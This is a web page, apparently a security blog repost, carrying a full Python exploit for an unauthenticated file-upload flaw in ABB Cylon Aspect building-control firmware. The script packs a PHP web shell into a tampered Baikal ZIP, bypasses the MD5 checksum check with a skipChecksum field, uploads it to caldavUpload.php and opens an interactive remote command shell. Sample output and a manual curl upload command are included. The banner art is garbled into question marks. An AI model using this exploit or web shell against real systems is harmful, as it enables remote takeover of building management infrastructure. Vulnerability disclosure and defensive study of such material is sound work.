Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

#!/usr/bin/env python3
#
#
# ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
#
#
# Vendor: #!/usr/bin/env python3
#
#
# ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
# Firmware: <=3.08.01
#
# Summary: ASPECT is an award-winning scalable building energy
# management and control solution designed to allow users seamless
# access to their building data through standard building protocols
# including smart devices.
#
# Desc: Yo, check it - the ABB BMS/BAS system's got a slick little
# weakness in them caldavInstall.php, caldavInstallAgendav.php, and
# caldavUpload.php files. All you gotta do is drop that skipChecksum
# beat in the POST vibe, and bam, the system skips all that MD5
# checksum nonsense, no EXPERTMODE needed to crank the funk. This
# lets any slick cat without a login slide in some jacked-up CalDAV
# ZIP files, no questions asked. We're talkin' tampered tunes hittin'
# the deck, openin' the door to messin' with the system or droppin'
# some nasty uploads, all unauthorized-like. That's the funky flaw,
# baby - straight-up tamper town!
#
# --------------------------------------------------------------------------
#
# ???(kali?kali)-[~/brainfog]
# ??$ ./funkalicious.py 192.168.73.31
# [*] Rollin' on 05.03.2025 14:57:38
# [*] Funkmaster Webshell Injector PoC - let's get down!
# [*] Groovin' to: http://192.168.73.31
# [+] Droppin' the funk on baikal-0.6.1.zip, dig it...
# [+] Whippin' up some funky ZIP magic...
# [+] Funked-up ZIP is live: baikal-0.6.1.zip
# [+] Funky MD5 hash: 26b68b6e04966e8ea910a9df0a83ec72
# [+] Groove size: 3.13 MB, dig it!
# [+] Groovin' through the ZIP contents (key funky files):
# 458 2019-02-19 08:05 baikal/vendor/sabre/vobject/tests/bootstrap.php
# 1696 2019-10-19 03:17 baikal/vendor/sabre/dav/tests/bootstrap.php
# 207 2019-10-09 16:27 baikal/vendor/sabre/http/tests/bootstrap.php
# 293 2012-06-17 14:48 baikal/vendor/twig/twig/test/bootstrap.php
# 144 2025-03-05 19:18 baikal/html/backdoor.php
# [+] Droppin' the funk bomb at http://192.168.73.31/caldavUpload.php...
# [+] Far out! ZIP got extracted, baby!
# [+] Hittin' the funkdoor at http://192.168.73.31/baikal/backdoor.php, let's groove...
# [+] Righteous! Funkdoor's live and kickin':
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
#
# [+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!
# funk> id ; pwd
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
# /home/baikal/html
# funk> exit
# [+] Wipin' out the funkdoor, peace out...
# [+] Funkdoor's gone, man - clean as a whistle!
# [*] Funked ZIP stashed: baikal-0.6.1.zip
# [*] Manual funk drop: curl -F 'baikalFile=@baikal-0.6.1.zip' -F 'skipChecksum=1' -F 'EXPERTMODE=1' 'http://192.168.73.31/caldavUpload.php'
# [+] Sweepin' up the temp funk files (keepin' the ZIP)...
#
# --------------------------------------------------------------------------
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
# GNU/Linux 3.10.0 (x86_64)
# GNU/Linux 2.6.32 (x86_64)
# Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
# Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
# PHP/7.3.11
# PHP/5.6.30
# PHP/5.4.16
# PHP/4.4.8
# PHP/5.3.3
# AspectFT Automation Application Server
# lighttpd/1.4.32
# lighttpd/1.4.18
# Apache/2.2.15 (CentOS)
# OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
# OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5926
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5926.php
# Ref ID: ZSL-2024-5860
# Ref Title: ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass
# Ref URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php
#
#
# 21.04.2024
#
#

import os
import sys
import random
import shutil
import zipfile
import requests
import datetime
import subprocess
from colorama import init, Fore, Style

init()

# Funky global vibes
FUNKMASTER_URL = None # To be set by the righteous IP
UPLOAD_JAM = "/caldavUpload.php"
BAIKAL_FUNKDOOR_PATH = "/baikal/backdoor.php"
OG_ZIP_VIBE = "baikal-0.6.1.zip"
FUNKED_ZIP_VIBE = "baikal-0.6.1.zip"
TEMP_FUNK_PAD = "zipslip_tmp"

# The slickest backdoor groove in town
FUNKDOOR_JAM = """<?php
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
if ($_POST['cmd'] === 'rm backdoor.php') {
unlink(__FILE__);
}
}
?>"""

def check_funky_gear():
# Checkin' if the cool cats got the unzip groove
if subprocess.call(["which", "unzip"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0:
print("[-] Whoa, daddy-o! 'unzip' ain't in the mix. Lay it down with 'sudo apt install unzip'!")
exit(1)

def snag_the_og_jam():
# Snaggin' that OG ZIP from the cosmic interwebs
if not os.path.exists(OG_ZIP_VIBE):
print(f"[+] Droppin' the funk on {OG_ZIP_VIBE}, dig it...")
url = "https://github.com/sabre-io/Baikal/releases/download/0.6.1/baikal-0.6.1.zip"
response = requests.get(url, stream=True)
with open(OG_ZIP_VIBE, "wb") as f:
f.write(response.content)
else:
print(f"[+] {OG_ZIP_VIBE} is already chillin' in the funk pad, my man!")

def whip_up_funky_zip():
# Cookin' up a righteous exploit ZIP, baby
print("[+] Whippin' up some funky ZIP magic...")
if os.path.exists(TEMP_FUNK_PAD):
shutil.rmtree(TEMP_FUNK_PAD)
os.makedirs(TEMP_FUNK_PAD, exist_ok=True)

# Unpackin' the OG vibe on the down-low
subprocess.run(["unzip", "-qq", OG_ZIP_VIBE, "-d", TEMP_FUNK_PAD], check=True)

# Settin' up the baikal funk shack
baikal_pad = os.path.join(TEMP_FUNK_PAD, "baikal")
if os.path.exists(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1")):
os.rename(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1"), baikal_pad)

# Droppin' a sneaky temp funkdoor
temp_funkdoor = os.path.join(TEMP_FUNK_PAD, "temp_funkdoor.php")
with open(temp_funkdoor, "w") as f:
f.write(FUNKDOOR_JAM)

# Zippin' it up with the funkdoor beat
with zipfile.ZipFile(FUNKED_ZIP_VIBE, "w", zipfile.ZIP_DEFLATED) as zf:
for root, _, files in os.walk(baikal_pad):
for file in files:
full_path = os.path.join(root, file)
arcname = os.path.relpath(full_path, TEMP_FUNK_PAD)
zf.write(full_path, arcname)
zf.write(temp_funkdoor, "baikal/html/backdoor.php")

# Gettin' the funky hash and size, yo
md5 = subprocess.check_output(["md5sum", FUNKED_ZIP_VIBE]).decode().split()[0]
print(f"[+] Funked-up ZIP is live: {FUNKED_ZIP_VIBE}")
print(f"[+] Funky MD5 hash: {md5}")
print(f"[+] Groove size: {os.path.getsize(FUNKED_ZIP_VIBE) / 1024 / 1024:.2f} MB, dig it!")

def check_the_funk_vibe():
# Peekin' at the ZIP's funky insides
print("[+] Groovin' through the ZIP contents (key funky files):")
result = subprocess.run(["unzip", "-l", FUNKED_ZIP_VIBE], capture_output=True, text=True)
for line in result.stdout.splitlines():
if "backdoor.php" in line or "bootstrap.php" in line:
print(line)

def lay_down_the_funk(target_url):
# /home/MIX_CMIX/htmlroot/caldavInstall.php:
# ------------------
# 01: <?php
# 02:
# 03: $badassMode = false;
# 04: if (isset($_GET["EXPERTMODE"])) {
# 05: $badassMode = true;
# 06: }
# 07: ?>
# ------------------
# Layin' down the funk to the server, man
url = f"{target_url}{UPLOAD_JAM}"
print(f"[+] Droppin' the funk bomb at {url}...")
files = {"baikalFile": open(FUNKED_ZIP_VIBE, "rb")}
data = {"skipChecksum": "1", "EXPERTMODE": "1"}
response = requests.post(
url,
files=files,
data=data,
timeout=10
)
if response.status_code == 200 and "Baikal Bundle Uploaded and Extracted - OK" in response.text:
print("[+] Far out! ZIP got extracted, baby!")
else:
print(f"[-] Funk hit a snag, HTTP Code: {response.status_code}")
print(response.text)

def jam_with_funkdoor(target_url):
# Jamming with the funkdoor, testing the vibe
url = f"{target_url}{BAIKAL_FUNKDOOR_PATH}"
print(f"[+] Hittin' the funkdoor at {url}, let's groove...")
response = requests.post(url, data={'cmd': 'id'}, timeout=5)

if response.status_code == 200 and "uid=" in response.text:
print("[+] Righteous! Funkdoor's live and kickin':")
print(response.text)
print("[+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!")

while True:
cmd = input("funk> ").strip()
if cmd.lower() in ["exit", "quit"]:
print("[+] Wipin' out the funkdoor, peace out...")
cleanup_response = requests.post(url, data={'cmd': 'rm backdoor.php'}, timeout=5)
if cleanup_response.status_code == 200:
print("[+] Funkdoor's gone, man - clean as a whistle!")
else:
print("[-] Cleanup got funky, check it out manually, dude.")
break

shell_response = requests.post(url, data={'cmd': cmd}, timeout=5)
if shell_response.status_code == 200:
print(shell_response.text.strip())
else:
print(f"[-] Funk jam crashed: HTTP {shell_response.status_code}")
print(shell_response.text)
else:
print("[-] Funkdoor ain't answerin' the call, man.")
print(f"Response: {response.status_code}")

def clean_the_funk_pad():
# Clearin' out the temp funk pad, keepin' it real
print("[+] Sweepin' up the temp funk files (keepin' the ZIP)...")
if os.path.exists(TEMP_FUNK_PAD):
shutil.rmtree(TEMP_FUNK_PAD)

def main():
global start
start = datetime.datetime.now()
start = start.strftime("%d.%m.%Y %H:%M:%S")
title = "\033[91mABB Cylon? ASPECT? Supervisory Building Control v3.08.01\033[0m"
subtl = "\033[91m\to Unauthenticated Remote Code Execution o\033[0m"
advis = "\033[91mZSL-2025-5926\033[0m"
prj = f"""-
P R O J E C T

.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
?????????????????????????? ???????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
????????????????????????? ????????????
???????????????????????????????????????
??????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
????????????????????????? ????????????

{title}
{subtl}
{advis}
"""

if len(sys.argv) < 2:
colors = [Fore.RED,
Fore.GREEN,
Fore.YELLOW,
Fore.MAGENTA,
Fore.CYAN,
Fore.BLUE]
lines = prj.strip().split("\n")
for line in lines:
color = random.choice(colors)
print(f"{color}{line}{Style.RESET_ALL}")
print("\n[*] Funky Jam: ./funkalicious.py <ip_address>")
sys.exit(1)

target_ip = sys.argv[1]
global FUNKMASTER_URL
FUNKMASTER_URL = f"http://{target_ip}"

print("[*] Rollin' on", start)
print("[*] Funkmaster Webshell Injector PoC - let's get down!")
print(f"[*] Groovin' to: {FUNKMASTER_URL}")
check_funky_gear()
snag_the_og_jam()
whip_up_funky_zip()
check_the_funk_vibe()
lay_down_the_funk(FUNKMASTER_URL)
jam_with_funkdoor(FUNKMASTER_URL)
print(f"[*] Funked ZIP stashed: {FUNKED_ZIP_VIBE}")
print(f"[*] Manual funk drop: curl -F 'baikalFile=@{FUNKED_ZIP_VIBE}' -F 'skipChecksum=1' -F 'EXPERTMODE=1' '{FUNKMASTER_URL}{UPLOAD_JAM}'")
clean_the_funk_pad()

if __name__ == "__main__":
main()